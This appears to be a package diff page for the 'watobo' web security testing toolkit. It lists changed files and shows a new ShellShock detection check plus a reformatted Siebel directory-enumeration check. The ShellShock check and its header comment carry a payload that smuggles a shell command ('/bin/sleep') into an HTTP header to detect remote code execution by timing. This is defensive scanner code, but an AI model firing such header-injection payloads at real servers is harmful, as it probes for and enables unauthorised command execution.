watobo 0.9.19 → 0.9.20
Sign up to get free protection for your applications and to get access to all the features.
- data/CHANGELOG.md +104 -0
- data/bin/nfq_server.rb +8 -20
- data/bin/watobo_gui.rb +8 -20
- data/config/forwarding_proxy.yml +2 -2
- data/lib/watobo.rb +12 -22
- data/lib/watobo/adapters.rb +12 -24
- data/lib/watobo/adapters/data_store.rb +76 -66
- data/lib/watobo/adapters/file/file_store.rb +295 -307
- data/lib/watobo/adapters/session_store.rb +13 -25
- data/lib/watobo/ca.rb +9 -21
- data/lib/watobo/config.rb +205 -217
- data/lib/watobo/constants.rb +8 -20
- data/lib/watobo/core.rb +11 -23
- data/lib/watobo/core/active_check.rb +11 -21
- data/lib/watobo/core/active_checks.rb +57 -69
- data/lib/watobo/core/ca.rb +388 -398
- data/lib/watobo/core/cert_store.rb +42 -54
- data/lib/watobo/core/chat.rb +100 -112
- data/lib/watobo/core/chats.rb +271 -275
- data/lib/watobo/core/client_cert_store.rb +33 -45
- data/lib/watobo/core/conversation.rb +56 -68
- data/lib/watobo/core/cookie.rb +31 -43
- data/lib/watobo/core/finding.rb +74 -86
- data/lib/watobo/core/findings.rb +113 -125
- data/lib/watobo/core/forwarding_proxy.rb +44 -35
- data/lib/watobo/core/fuzz_gen.rb +8 -20
- data/lib/watobo/core/intercept_carver.rb +176 -188
- data/lib/watobo/core/intercept_filter.rb +243 -255
- data/lib/watobo/core/interceptor.rb +106 -118
- data/lib/watobo/core/min_class.rb +12 -24
- data/lib/watobo/core/netfilter_queue.rb +178 -190
- data/lib/watobo/core/ott_cache.rb +152 -148
- data/lib/watobo/core/parameter.rb +53 -58
- data/lib/watobo/core/passive_check.rb +8 -20
- data/lib/watobo/core/passive_checks.rb +56 -68
- data/lib/watobo/core/passive_scanner.rb +54 -66
- data/lib/watobo/core/plugin.rb +19 -31
- data/lib/watobo/core/project.rb +8 -20
- data/lib/watobo/core/proxy.rb +51 -63
- data/lib/watobo/core/request.rb +128 -120
- data/lib/watobo/core/response.rb +59 -61
- data/lib/watobo/core/scanner.rb +8 -20
- data/lib/watobo/core/scanner3.rb +413 -425
- data/lib/watobo/core/scope.rb +91 -103
- data/lib/watobo/core/session.rb +109 -87
- data/lib/watobo/core/sid_cache.rb +106 -118
- data/lib/watobo/core/subscriber.rb +33 -45
- data/lib/watobo/defaults.rb +29 -41
- data/lib/watobo/external/diff/lcs.rb +8 -20
- data/lib/watobo/external/diff/lcs/array.rb +8 -20
- data/lib/watobo/external/diff/lcs/block.rb +8 -20
- data/lib/watobo/external/diff/lcs/callbacks.rb +8 -20
- data/lib/watobo/external/diff/lcs/change.rb +8 -20
- data/lib/watobo/external/diff/lcs/hunk.rb +8 -20
- data/lib/watobo/external/diff/lcs/ldiff.rb +8 -20
- data/lib/watobo/external/diff/lcs/string.rb +8 -20
- data/lib/watobo/externals.rb +14 -26
- data/lib/watobo/framework.rb +12 -24
- data/lib/watobo/framework/create_project.rb +68 -80
- data/lib/watobo/framework/init.rb +8 -20
- data/lib/watobo/framework/init_modules.rb +8 -20
- data/lib/watobo/framework/license_text.rb +36 -48
- data/lib/watobo/framework/load_chat.rb +21 -33
- data/lib/watobo/gui.rb +121 -133
- data/lib/watobo/gui/about_watobo.rb +8 -20
- data/lib/watobo/gui/browser_preview.rb +8 -20
- data/lib/watobo/gui/certificate_dialog.rb +8 -20
- data/lib/watobo/gui/chat_diff.rb +11 -21
- data/lib/watobo/gui/chatviewer_frame.rb +10 -22
- data/lib/watobo/gui/checkboxtree.rb +8 -20
- data/lib/watobo/gui/checks_policy_frame.rb +8 -20
- data/lib/watobo/gui/client_cert_dialog.rb +10 -21
- data/lib/watobo/gui/confirm_scan_dialog.rb +8 -20
- data/lib/watobo/gui/conversation_table.rb +54 -44
- data/lib/watobo/gui/conversation_table_ctrl.rb +215 -227
- data/lib/watobo/gui/conversation_table_ctrl2.rb +385 -393
- data/lib/watobo/gui/csrf_token_dialog.rb +11 -25
- data/lib/watobo/gui/custom_viewer.rb +357 -369
- data/lib/watobo/gui/dashboard.rb +8 -20
- data/lib/watobo/gui/define_scope_frame.rb +8 -20
- data/lib/watobo/gui/differ_frame.rb +223 -235
- data/lib/watobo/gui/edit_comment.rb +8 -20
- data/lib/watobo/gui/edit_scope_dialog.rb +8 -20
- data/lib/watobo/gui/export_dialog.rb +114 -0
- data/lib/watobo/gui/finding_info.rb +9 -21
- data/lib/watobo/gui/findings_tree.rb +8 -20
- data/lib/watobo/gui/full_scan_dialog.rb +8 -20
- data/lib/watobo/gui/fuzzer_gui.rb +8 -20
- data/lib/watobo/gui/goto_url_dialog.rb +78 -90
- data/lib/watobo/gui/hex_viewer.rb +25 -27
- data/lib/watobo/gui/html_viewer.rb +295 -307
- data/lib/watobo/gui/intercept_filter_dialog.rb +196 -208
- data/lib/watobo/gui/interceptor_gui.rb +1046 -1041
- data/lib/watobo/gui/interceptor_settings_dialog.rb +8 -20
- data/lib/watobo/gui/list_box.rb +109 -121
- data/lib/watobo/gui/log_file_viewer.rb +40 -52
- data/lib/watobo/gui/log_viewer.rb +87 -99
- data/lib/watobo/gui/login_wizzard.rb +8 -20
- data/lib/watobo/gui/main_window.rb +34 -33
- data/lib/watobo/gui/manual_request_editor.rb +25 -35
- data/lib/watobo/gui/master_pw_dialog.rb +8 -20
- data/lib/watobo/gui/mixins/gui_settings.rb +37 -49
- data/lib/watobo/gui/page_tree.rb +225 -237
- data/lib/watobo/gui/password_policy_dialog.rb +8 -20
- data/lib/watobo/gui/plugin_board.rb +8 -20
- data/lib/watobo/gui/preferences_dialog.rb +8 -20
- data/lib/watobo/gui/progress_window.rb +8 -20
- data/lib/watobo/gui/project_wizzard.rb +8 -20
- data/lib/watobo/gui/proxy_dialog.rb +117 -85
- data/lib/watobo/gui/quick_scan_dialog.rb +8 -20
- data/lib/watobo/gui/request_builder_frame.rb +125 -122
- data/lib/watobo/gui/request_editor.rb +53 -28
- data/lib/watobo/gui/rewrite_filters_dialog.rb +402 -414
- data/lib/watobo/gui/rewrite_rules_dialog.rb +380 -392
- data/lib/watobo/gui/save_chat_dialog.rb +148 -160
- data/lib/watobo/gui/scanner_settings_dialog.rb +8 -20
- data/lib/watobo/gui/select_chat_dialog.rb +8 -20
- data/lib/watobo/gui/session_management_dialog.rb +8 -20
- data/lib/watobo/gui/sites_tree.rb +118 -22
- data/lib/watobo/gui/status_bar.rb +8 -20
- data/lib/watobo/gui/table_editor.rb +76 -53
- data/lib/watobo/gui/tagless_viewer.rb +10 -21
- data/lib/watobo/gui/templates/plugin.rb +8 -20
- data/lib/watobo/gui/templates/plugin2.rb +99 -111
- data/lib/watobo/gui/templates/plugin_base.rb +152 -164
- data/lib/watobo/gui/text_viewer.rb +8 -20
- data/lib/watobo/gui/transcoder_window.rb +15 -22
- data/lib/watobo/gui/utils/gui_utils.rb +8 -20
- data/lib/watobo/gui/utils/init_icons.rb +94 -106
- data/lib/watobo/gui/utils/load_icons.rb +41 -53
- data/lib/watobo/gui/utils/load_plugins.rb +118 -130
- data/lib/watobo/gui/utils/master_password.rb +76 -88
- data/lib/watobo/gui/utils/save_default_settings.rb +121 -133
- data/lib/watobo/gui/utils/save_project_settings.rb +8 -20
- data/lib/watobo/gui/utils/save_proxy_settings.rb +53 -21
- data/lib/watobo/gui/utils/save_scanner_settings.rb +26 -38
- data/lib/watobo/gui/utils/session_history.rb +120 -132
- data/lib/watobo/gui/workspace_dialog.rb +8 -20
- data/lib/watobo/gui/www_auth_dialog.rb +8 -20
- data/lib/watobo/gui/xml_viewer_frame.rb +8 -20
- data/lib/watobo/http.rb +12 -23
- data/lib/watobo/http/cookies/cookies.rb +63 -70
- data/lib/watobo/http/data/data.rb +56 -64
- data/lib/watobo/http/data/json.rb +51 -0
- data/lib/watobo/http/url/url.rb +46 -58
- data/lib/watobo/http/xml/xml.rb +129 -141
- data/lib/watobo/interceptor.rb +11 -23
- data/lib/watobo/interceptor/proxy.rb +624 -625
- data/lib/watobo/interceptor/transparent.rb +22 -34
- data/lib/watobo/mixins.rb +18 -30
- data/lib/watobo/mixins/check_info.rb +35 -47
- data/lib/watobo/mixins/httpparser.rb +42 -35
- data/lib/watobo/mixins/request_parser.rb +8 -20
- data/lib/watobo/mixins/shapers.rb +484 -477
- data/lib/watobo/mixins/transcoders.rb +8 -20
- data/lib/watobo/parser.rb +9 -21
- data/lib/watobo/parser/html.rb +91 -103
- data/lib/watobo/sockets.rb +11 -23
- data/lib/watobo/sockets/agent.rb +836 -848
- data/lib/watobo/sockets/client_socket.rb +283 -277
- data/lib/watobo/sockets/connection.rb +409 -421
- data/lib/watobo/sockets/http_socket.rb +16 -23
- data/lib/watobo/sockets/ntlm_auth.rb +137 -149
- data/lib/watobo/utils.rb +18 -30
- data/lib/watobo/utils/check_regex.rb +8 -20
- data/lib/watobo/utils/copy_object.rb +8 -20
- data/lib/watobo/utils/crypto.rb +8 -20
- data/lib/watobo/utils/expand_range.rb +31 -43
- data/lib/watobo/utils/export_xml.rb +108 -0
- data/lib/watobo/utils/file_management.rb +8 -20
- data/lib/watobo/utils/hexprint.rb +17 -29
- data/lib/watobo/utils/load_chat.rb +8 -20
- data/lib/watobo/utils/load_icon.rb +8 -20
- data/lib/watobo/{external/ntlm → utils}/ntlm.rb +874 -796
- data/lib/watobo/utils/print_debug.rb +20 -32
- data/lib/watobo/utils/response_builder.rb +98 -110
- data/lib/watobo/utils/response_hash.rb +9 -20
- data/lib/watobo/utils/secure_eval.rb +10 -22
- data/lib/watobo/utils/strings.rb +18 -30
- data/lib/watobo/utils/text2request.rb +12 -20
- data/lib/watobo/utils/url.rb +31 -43
- data/lib/watobo/utils/utf16.rb +22 -0
- data/modules/active/Apache/mod_status.rb +9 -0
- data/modules/active/Apache/multiview.rb +161 -0
- data/modules/active/Flash/crossdomain.rb +9 -0
- data/modules/active/directories/dirwalker.rb +8 -20
- data/modules/active/discovery/fileextensions.rb +10 -22
- data/modules/active/discovery/http_methods.rb +8 -20
- data/modules/active/domino/domino_db.rb +8 -20
- data/modules/active/dotNET/custom_errors.rb +110 -122
- data/modules/active/dotNET/dotnet_files.rb +98 -110
- data/modules/active/fileinclusion/lfi_simple.rb +8 -20
- data/modules/active/jboss/jboss_basic.rb +8 -20
- data/modules/active/sap/business_objects.rb +63 -0
- data/modules/active/sap/its_commands.rb +8 -20
- data/modules/active/sap/its_service_parameter.rb +8 -20
- data/modules/active/sap/its_services.rb +8 -20
- data/modules/active/sap/its_xss.rb +8 -20
- data/modules/active/shell_shock/shell_shock.rb +149 -0
- data/modules/active/siebel/siebel_apps.rb +168 -180
- data/modules/active/sqlinjection/sql_boolean.rb +9 -21
- data/modules/active/sqlinjection/sqli_error.rb +10 -22
- data/modules/active/sqlinjection/sqli_timing.rb +228 -240
- data/modules/active/struts2/default_handler_ognl.rb +114 -126
- data/modules/active/struts2/include_params_ognl.rb +113 -125
- data/modules/active/xml/xml_xxe.rb +122 -127
- data/modules/active/xss/xss_ng.rb +223 -234
- data/modules/active/xss/xss_simple.rb +8 -20
- data/modules/passive/ajax.rb +76 -84
- data/modules/passive/autocomplete.rb +64 -76
- data/modules/passive/cookie_options.rb +8 -20
- data/modules/passive/cookie_xss.rb +9 -21
- data/modules/passive/detect_code.rb +9 -21
- data/modules/passive/detect_fileupload.rb +11 -22
- data/modules/passive/detect_infrastructure.rb +23 -35
- data/modules/passive/detect_one_time_tokens.rb +8 -20
- data/modules/passive/dirindexing.rb +9 -21
- data/modules/passive/disclosure_domino.rb +66 -79
- data/modules/passive/disclosure_emails.rb +9 -21
- data/modules/passive/disclosure_ipaddr.rb +15 -23
- data/modules/passive/filename_as_parameter.rb +8 -20
- data/modules/passive/form_spotter.rb +15 -21
- data/modules/passive/hidden_fields.rb +64 -70
- data/modules/passive/hotspots.rb +13 -22
- data/modules/passive/in_script_parameter.rb +15 -24
- data/modules/passive/multiple_server_headers.rb +8 -20
- data/modules/passive/possible_login.rb +12 -23
- data/modules/passive/redirect_url.rb +10 -22
- data/modules/passive/redirectionz.rb +9 -21
- data/modules/passive/sap-headers.rb +64 -76
- data/modules/passive/xss_dom.rb +10 -21
- data/plugins/catalog/catalog.rb +17 -23
- data/plugins/crawler/crawler.rb +12 -24
- data/plugins/crawler/gui.rb +13 -25
- data/plugins/crawler/gui/auth_frame.rb +278 -290
- data/plugins/crawler/gui/crawler_gui.rb +302 -320
- data/plugins/crawler/gui/general_settings_frame.rb +104 -116
- data/plugins/crawler/gui/hooks_frame.rb +88 -100
- data/plugins/crawler/gui/scope_frame.rb +58 -70
- data/plugins/crawler/gui/settings_tabbook.rb +46 -58
- data/plugins/crawler/gui/status_frame.rb +67 -78
- data/plugins/crawler/lib/bags.rb +26 -38
- data/plugins/crawler/lib/constants.rb +19 -31
- data/plugins/crawler/lib/engine.rb +505 -508
- data/plugins/crawler/lib/grabber.rb +77 -87
- data/plugins/crawler/lib/status.rb +82 -0
- data/plugins/crawler/lib/uri_mp.rb +20 -32
- data/plugins/filefinder/dbs/siebel_paths.txt +1118 -0
- data/plugins/filefinder/dbs/subs-big.lst +31986 -0
- data/plugins/filefinder/filefinder.rb +13 -23
- data/plugins/sqlmap/bin/test.rb +86 -98
- data/plugins/sqlmap/gui.rb +12 -24
- data/plugins/sqlmap/gui/main.rb +226 -238
- data/plugins/sqlmap/gui/options_frame.rb +105 -117
- data/plugins/sqlmap/lib/sqlmap_ctrl.rb +103 -115
- data/plugins/sqlmap/sqlmap.rb +10 -22
- data/plugins/sslchecker/cli/sslchecker_cli.rb +8 -20
- data/plugins/sslchecker/gui/cipher_table.rb +252 -264
- data/plugins/sslchecker/gui/gui.rb +267 -276
- data/plugins/sslchecker/gui/sslchecker.rb +12 -24
- data/plugins/sslchecker/lib/check.rb +172 -80
- data/plugins/wshell/gui/main.rb +115 -127
- data/plugins/wshell/lib/core.rb +85 -97
- data/plugins/wshell/wshell.rb +19 -31
- metadata +14 -6
- data/.yardopts +0 -24
@@ -0,0 +1,149 @@
|
|
1
|
+
#.
|
2
|
+
# shell_shock.rb
|
3
|
+
#.
|
4
|
+
# Copyright 2014 by siberas, http://www.siberas.de
|
5
|
+
# This file is part of WATOBO (Web Application Tool Box) http://watobo.sourceforge.com
|
6
|
+
# WATOBO is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License.
|
7
|
+
# WATOBO is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
|
8
|
+
# You should have received a copy of the GNU General Public License along with WATOBO; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
9
|
+
|
10
|
+
=begin
|
11
|
+
$ curl -i -H "Negotiate: () { :; }; /bin/sleep 3" http://192.168.70.134/cgi-bin/shock.cgi
|
12
|
+
HTTP/1.1 500 Internal Server Error
|
13
|
+
Date: Fri, 24 Jan 2014 08:50:10 GMT
|
14
|
+
Server: Apache/2.2.22 (Debian)
|
15
|
+
Vary: Accept-Encoding
|
16
|
+
Content-Length: 619
|
17
|
+
Connection: close
|
18
|
+
Content-Type: text/html; charset=iso-8859-1
|
19
|
+
|
20
|
+
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
|
21
|
+
<html><head>
|
22
|
+
<title>500 Internal Server Error</title>
|
23
|
+
</head><body>
|
24
|
+
<h1>Internal Server Error</h1>
|
25
|
+
<p>The server encountered an internal error or
|
26
|
+
misconfiguration and was unable to complete
|
27
|
+
your request.</p>
|
28
|
+
<p>Please contact the server administrator,
|
29
|
+
webmaster@localhost and inform them of the time the error occurred,
|
30
|
+
and anything you might have done that may have
|
31
|
+
caused the error.</p>
|
32
|
+
<p>More information about this error may be available
|
33
|
+
in the server error log.</p>
|
34
|
+
<hr>
|
35
|
+
<address>Apache/2.2.22 (Debian) Server at 192.168.70.134 Port 80</address>
|
36
|
+
</body></html>
|
37
|
+
|
38
|
+
=end
|
39
|
+
|
40
|
+
module Watobo#:nodoc: all
|
41
|
+
module Modules
|
42
|
+
module Active
|
43
|
+
module Shell_shock
|
44
|
+
|
45
|
+
|
46
|
+
class Shell_shock < Watobo::ActiveCheck
|
47
|
+
@info.update(
|
48
|
+
:check_name => 'ShellShock', # name of check which briefly describes functionality, will be used for tree and progress views
|
49
|
+
:check_group => AC_GROUP_GENERIC,
|
50
|
+
:description => "", # description of checkfunction
|
51
|
+
:author => "Andreas Schmidt", # author of check
|
52
|
+
:version => "0.9" # check version
|
53
|
+
)
|
54
|
+
|
55
|
+
threat =<<'EOF'
|
56
|
+
Really bad, bad things can happen!
|
57
|
+
EOF
|
58
|
+
|
59
|
+
measure = "Patch it!"
|
60
|
+
|
61
|
+
@finding.update(
|
62
|
+
:threat => threat, # thread of vulnerability, e.g. loss of information
|
63
|
+
:class => "ShellShock (RCE)", # vulnerability class, e.g. Stored XSS, SQL-Injection, ...
|
64
|
+
:type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN
|
65
|
+
:rating => VULN_RATING_CRITICAL,
|
66
|
+
:measure => measure
|
67
|
+
)
|
68
|
+
|
69
|
+
|
70
|
+
def initialize(project, prefs={})
|
71
|
+
super(project, prefs)
|
72
|
+
|
73
|
+
end
|
74
|
+
|
75
|
+
def generateChecks(chat)
|
76
|
+
|
77
|
+
checker = proc {
|
78
|
+
test_request = nil
|
79
|
+
test_response = nil
|
80
|
+
output = ""
|
81
|
+
|
82
|
+
rtimes = []
|
83
|
+
|
84
|
+
timing_response = nil
|
85
|
+
|
86
|
+
3.times do
|
87
|
+
test = chat.copyRequest
|
88
|
+
start = Time.now().to_i
|
89
|
+
timing_request, timing_response = doRequest(test,:default => true)
|
90
|
+
stop = Time.now().to_i
|
91
|
+
rtimes << ( stop - start )
|
92
|
+
|
93
|
+
end
|
94
|
+
# now calculate the average time
|
95
|
+
t_average = rtimes.inject(:+) / rtimes.length
|
96
|
+
t_average = 1 if t_average == 0
|
97
|
+
|
98
|
+
time_to_sleep = rtimes.max > (2 * t_average) ? rtimes.max : (2 * t_average)
|
99
|
+
|
100
|
+
timeout_counter = 0
|
101
|
+
t_start = Time.now().to_i
|
102
|
+
|
103
|
+
request = chat.copyRequest
|
104
|
+
request.addHeader("Negotiate", "() { :;}; /bin/sleep #{time_to_sleep}")
|
105
|
+
|
106
|
+
test_request, test_response = doRequest(request, :default => true)
|
107
|
+
|
108
|
+
t_stop = Time.now.to_i
|
109
|
+
timeout_counter += 1
|
110
|
+
|
111
|
+
duration = t_stop - t_start
|
112
|
+
# puts duration
|
113
|
+
if ( duration >= time_to_sleep )
|
114
|
+
puts "Found ShellShock Vulnerablitiy !!!"
|
115
|
+
puts "after #{duration}s / time-to-sleep #{time_to_sleep}s)"
|
116
|
+
|
117
|
+
test_request.extend Watobo::Mixin::Parser::Url unless test_request.respond_to? :path
|
118
|
+
|
119
|
+
path = "/" + test_request.path
|
120
|
+
|
121
|
+
output << "SleepTime: #{time_to_sleep}\nQuery Duration: #{duration}s"
|
122
|
+
|
123
|
+
addFinding( test_request, test_response,
|
124
|
+
:check_pattern => "Negotiate.*sleep \d",
|
125
|
+
:chat => chat,
|
126
|
+
:title => "[Timing] - #{path}",
|
127
|
+
:proof_pattern => "",
|
128
|
+
:test_item => "Negotiate",
|
129
|
+
:class => "ShellShock (Time-based)",
|
130
|
+
:output => output
|
131
|
+
)
|
132
|
+
#readlines
|
133
|
+
break
|
134
|
+
end
|
135
|
+
|
136
|
+
|
137
|
+
[ test_request, test_response ]
|
138
|
+
}
|
139
|
+
yield checker
|
140
|
+
|
141
|
+
|
142
|
+
end
|
143
|
+
end
|
144
|
+
|
145
|
+
# --> eo namespace
|
146
|
+
end
|
147
|
+
end
|
148
|
+
end
|
149
|
+
end
|
@@ -1,182 +1,170 @@
|
|
1
|
-
|
1
|
+
#.
|
2
2
|
# siebel_apps.rb
|
3
|
-
|
4
|
-
# Copyright
|
5
|
-
#
|
6
|
-
#
|
7
|
-
#
|
8
|
-
#
|
9
|
-
# WATOBO is free software; you can redistribute it and/or modify
|
10
|
-
# it under the terms of the GNU General Public License as published by
|
11
|
-
# the Free Software Foundation version 2 of the License.
|
12
|
-
#
|
13
|
-
# WATOBO is distributed in the hope that it will be useful,
|
14
|
-
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
15
|
-
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
16
|
-
# GNU General Public License for more details.
|
17
|
-
#
|
18
|
-
# You should have received a copy of the GNU General Public License
|
19
|
-
# along with WATOBO; if not, write to the Free Software
|
20
|
-
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
21
|
-
# .
|
22
|
-
# @private
|
23
|
-
module Watobo#:nodoc: all
|
24
|
-
module Modules
|
25
|
-
module Active
|
26
|
-
module Siebel
|
27
|
-
|
28
|
-
class Siebel_apps < Watobo::ActiveCheck
|
29
|
-
check_group = File.dirname(File.expand_path(__FILE__)).split("/").last.capitalize!
|
30
|
-
@@tested_directories = Hash.new
|
31
|
-
|
32
|
-
@info.update(
|
33
|
-
:check_name => 'Siebel Applications', # name of check which briefly describes functionality, will be used for tree and progress views
|
34
|
-
:description => "Enumerate Siebel Applications And Default Files, e.g. base.txt", # description of checkfunction
|
35
|
-
:author => "Andreas Schmidt", # author of check
|
36
|
-
:version => "1.0", # check version
|
37
|
-
:check_group => check_group
|
38
|
-
)
|
39
|
-
|
40
|
-
@finding.update(
|
41
|
-
:threat => 'Information', # thread of vulnerability, e.g. loss of information
|
42
|
-
:class => "Siebel: Default Applications", # vulnerability class, e.g. Stored XSS, SQL-Injection, ...
|
43
|
-
:type => FINDING_TYPE_INFO # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN
|
44
|
-
)
|
45
|
-
|
46
|
-
def initialize(project, prefs={})
|
47
|
-
|
48
|
-
super(project, prefs)
|
49
|
-
|
50
|
-
@apps = %w( callcenter cgce cra eCommunicationsWireless eEnergyOilGasChemicals eaf eai eai_anon eauctionswexml eautomotive echannelaf echannelcg echannelcme eclinical ecommunications econsumer econsumerpharma econsumersector ecustomer ecustomercme edealer edealerscw eenergy eevents ehospitality eloyalty emarketing emedia emedical ememb epharma epharmace eprofessionalpharma epublicsector eretail erm ermadmin esales esalescme eservice esitesclinical etraining finesales fins finsconsole finscustomer finsebanking finsebrokerage finsechannel finseenenrollment finssalespam htim htimpim loyalty loyaltyscw marketing medicalce pimportal pmmanager prmmanager prmportal pseservice sales salesce service servicece siasalesce siaservicece sismarketing smc wpeserv wppm wpsales wpserv )
|
51
|
-
@langs = %w( cat chs cht csy dan deu ell enu esn euq fin fra frc heb hun ita jpn kor nld nor plk pse psl ptb ptg rus shl sky slv sve tha trk )
|
52
|
-
|
53
|
-
|
54
|
-
end
|
55
|
-
|
56
|
-
def reset()
|
57
|
-
@@tested_directories.clear
|
3
|
+
#.
|
4
|
+
# Copyright 2014 by siberas, http://www.siberas.de
|
5
|
+
# This file is part of WATOBO (Web Application Tool Box) http://watobo.sourceforge.com
|
6
|
+
# WATOBO is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License.
|
7
|
+
# WATOBO is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
|
8
|
+
# You should have received a copy of the GNU General Public License along with WATOBO; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
58
9
|
|
59
|
-
|
60
|
-
|
61
|
-
|
62
|
-
|
63
|
-
|
64
|
-
|
65
|
-
|
66
|
-
|
67
|
-
|
68
|
-
|
69
|
-
|
70
|
-
|
71
|
-
|
72
|
-
|
73
|
-
|
74
|
-
|
75
|
-
|
76
|
-
|
77
|
-
|
78
|
-
|
79
|
-
|
80
|
-
|
81
|
-
|
82
|
-
|
83
|
-
|
84
|
-
|
85
|
-
|
86
|
-
|
87
|
-
|
88
|
-
|
89
|
-
|
90
|
-
|
91
|
-
|
92
|
-
|
93
|
-
|
94
|
-
|
95
|
-
|
96
|
-
|
97
|
-
|
98
|
-
|
99
|
-
|
100
|
-
|
101
|
-
|
102
|
-
|
103
|
-
|
104
|
-
|
105
|
-
|
106
|
-
|
107
|
-
|
108
|
-
|
109
|
-
|
110
|
-
|
111
|
-
|
112
|
-
|
113
|
-
|
114
|
-
|
115
|
-
|
116
|
-
|
117
|
-
|
118
|
-
|
119
|
-
|
120
|
-
|
121
|
-
|
122
|
-
|
123
|
-
|
124
|
-
|
125
|
-
|
126
|
-
|
127
|
-
:test_item =>
|
128
|
-
:check_pattern => "
|
129
|
-
:proof_pattern => "#{
|
130
|
-
:chat => chat,
|
131
|
-
:title => "#{app_dir}"
|
132
|
-
|
133
|
-
|
134
|
-
|
135
|
-
|
136
|
-
|
137
|
-
|
138
|
-
|
139
|
-
|
140
|
-
|
141
|
-
|
142
|
-
|
143
|
-
|
144
|
-
|
145
|
-
|
146
|
-
:
|
147
|
-
:
|
148
|
-
|
149
|
-
|
150
|
-
|
151
|
-
|
152
|
-
|
153
|
-
|
154
|
-
|
155
|
-
|
156
|
-
|
157
|
-
|
158
|
-
|
159
|
-
|
160
|
-
|
161
|
-
|
162
|
-
|
163
|
-
|
164
|
-
|
165
|
-
|
166
|
-
|
167
|
-
|
168
|
-
|
169
|
-
|
170
|
-
|
171
|
-
|
172
|
-
|
173
|
-
|
174
|
-
|
175
|
-
|
176
|
-
|
177
|
-
|
178
|
-
|
179
|
-
|
180
|
-
|
181
|
-
|
182
|
-
|
10
|
+
# @private
|
11
|
+
module Watobo#:nodoc: all
|
12
|
+
module Modules
|
13
|
+
module Active
|
14
|
+
module Siebel
|
15
|
+
|
16
|
+
class Siebel_apps < Watobo::ActiveCheck
|
17
|
+
check_group = File.dirname(File.expand_path(__FILE__)).split("/").last.capitalize!
|
18
|
+
@@tested_directories = Hash.new
|
19
|
+
|
20
|
+
@info.update(
|
21
|
+
:check_name => 'Siebel Applications', # name of check which briefly describes functionality, will be used for tree and progress views
|
22
|
+
:description => "Enumerate Siebel Applications And Default Files, e.g. base.txt", # description of checkfunction
|
23
|
+
:author => "Andreas Schmidt", # author of check
|
24
|
+
:version => "1.0", # check version
|
25
|
+
:check_group => check_group
|
26
|
+
)
|
27
|
+
|
28
|
+
@finding.update(
|
29
|
+
:threat => 'Information', # thread of vulnerability, e.g. loss of information
|
30
|
+
:class => "Siebel: Default Applications", # vulnerability class, e.g. Stored XSS, SQL-Injection, ...
|
31
|
+
:type => FINDING_TYPE_INFO # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN
|
32
|
+
)
|
33
|
+
|
34
|
+
def initialize(project, prefs={})
|
35
|
+
|
36
|
+
super(project, prefs)
|
37
|
+
|
38
|
+
@apps = %w( callcenter cgce cra eCommunicationsWireless eEnergyOilGasChemicals eaf eai eai_anon eauctionswexml eautomotive echannelaf echannelcg echannelcme eclinical ecommunications econsumer econsumerpharma econsumersector ecustomer ecustomercme edealer edealerscw eenergy eevents ehospitality eloyalty emarketing emedia emedical ememb epharma epharmace eprofessionalpharma epublicsector eretail erm ermadmin esales esalescme eservice esitesclinical etraining finesales fins finsconsole finscustomer finsebanking finsebrokerage finsechannel finseenenrollment finssalespam htim htimpim loyalty loyaltyscw marketing medicalce pimportal pmmanager prmmanager prmportal pseservice sales salesce service servicece siasalesce siaservicece sismarketing smc wpeserv wppm wpsales wpserv )
|
39
|
+
@langs = %w( cat chs cht csy dan deu ell enu esn euq fin fra frc heb hun ita jpn kor nld nor plk pse psl ptb ptg rus shl sky slv sve tha trk )
|
40
|
+
|
41
|
+
|
42
|
+
end
|
43
|
+
|
44
|
+
def reset()
|
45
|
+
@@tested_directories.clear
|
46
|
+
|
47
|
+
end
|
48
|
+
|
49
|
+
|
50
|
+
def generateChecks(chat)
|
51
|
+
|
52
|
+
begin
|
53
|
+
path = chat.request.dir
|
54
|
+
# puts "!!!!#{self}: #{path}"
|
55
|
+
unless @@tested_directories.has_key?(path)
|
56
|
+
@@tested_directories[path] = true
|
57
|
+
|
58
|
+
@apps.each do |app|
|
59
|
+
@langs.each do |lang|
|
60
|
+
|
61
|
+
|
62
|
+
checker = proc{
|
63
|
+
begin
|
64
|
+
app_dir = "#{app}_#{lang}"
|
65
|
+
#puts app_dir
|
66
|
+
test_request = nil
|
67
|
+
test_response = nil
|
68
|
+
test = chat.copyRequest
|
69
|
+
test.appendDir app_dir
|
70
|
+
|
71
|
+
status, test_request, test_response = fileExists?(test, :default => true)
|
72
|
+
|
73
|
+
if status == true
|
74
|
+
|
75
|
+
# test_chat = Chat.new(test,test_response, :id => chat.id)
|
76
|
+
|
77
|
+
addFinding( test_request,test_response,
|
78
|
+
:test_item => chat.request.url.to_s,
|
79
|
+
:check_pattern => "#{app_dir}",
|
80
|
+
:proof_pattern => "#{test_response.status}",
|
81
|
+
:chat => chat,
|
82
|
+
:title => "#{app_dir}"
|
83
|
+
)
|
84
|
+
|
85
|
+
# check for _stats.swe
|
86
|
+
stats_test = chat.copyRequest
|
87
|
+
stats_test.replaceFileExt("_stats.swe")
|
88
|
+
status, stats_request, stats_response = fileExists?( stats_test, :default => true)
|
89
|
+
|
90
|
+
if status == true and stats_response.has_body?
|
91
|
+
addFinding( stats_request,stats_response,
|
92
|
+
:test_item => stats_request.url.to_s,
|
93
|
+
:check_pattern => "#{app_dir}",
|
94
|
+
:proof_pattern => "#{stats_response.status}",
|
95
|
+
